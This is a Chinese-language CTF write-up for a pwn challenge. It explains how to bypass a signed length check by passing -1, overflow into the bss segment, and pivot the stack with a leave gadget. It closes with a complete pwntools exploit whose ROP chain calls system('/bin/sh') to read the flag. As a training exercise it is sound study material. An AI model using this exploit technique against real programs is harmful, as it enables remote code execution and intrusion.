不是每一次我们都能遇到足够长的缓冲区溢出。这一次,只能溢出一点点,那你该怎么办呢?栈迁移就是解决这个问题的一个手段,通过栈迁移我们能获得足够的栈空间,但是请注意迁移之后的栈布局。

题目明示使用栈迁移,introduce() 函数允许我们往 bss 段上写数据,由于将栈转移到 bss 段上后数据仍然是往低地址写,我们需要需要将栈底劫持到差不多中间的位置,大概需要下面这样的结构

image.png

这需要很大的写入空间,但是写入的大小被 a1 限制

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+0h] [rbp-10h] BYREF
  _BYTE buf[12]; // [rsp+4h] [rbp-Ch] BYREF

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  puts("Welcome to join this pwn party!");
  puts("Please say something to introduce yourself:");
  puts("Before that,you need to tell us the length of your introduction.");
  __isoc99_scanf("%d", &v4);
  if ( v4 > 32 )
  {
    puts("Your introduction is too long, please try again.");
    exit(1);
  }
  introduce((unsigned int)v4);
  puts("Now, please tell us your phone number:");
  read(0, buf, len_of_phonenum);
  return 0;
}

后面在进入 introduce() 后将其强转为无符号整型,所以我们传入 -1,就会转成一个很大的数字,绕过了大小检查,introduce() 函数如下

int __fastcall introduce(unsigned int a1)
{
  read(0, &desc, a1);
  return puts("Ok,we got your introduction!");
}

然后是一个很小的栈迁移利用,len_of_phonenum 定义为 1c ,查看栈图,也就是差不多刚好可以覆盖返回地址

image.png

让返回地址为 leave 调整 rsp 到 bss 段进行栈迁移即可

Exp 如下

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

# p = remote('127.0.0.1', 58756) 
p = process('./pwn')
# p = gdb.debug('./pwn')

p.recvuntil(b'introduction.\n')
p.sendline(b'-1')
pop_rdi = 0x401219
ret = 0x40101a
bin_sh = 0x404060
leave = 0x40133e
system_addr = 0x4010a0
payload_1 = b'/bin/sh\x00' + b'\x00'*0x700 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system_addr)
p.send(payload_1)

p.recvuntil(b'number:\n')
payload_2 = b'a'*12 + p64(bin_sh + 0x700) + p64(leave)
p.sendline(payload_2)

p.interactive()

读取 flag

2411c7191e0240dd961fe189c4694cc6.png

看了官方的 wp ,感觉没怎么看懂,但核心思路应该一样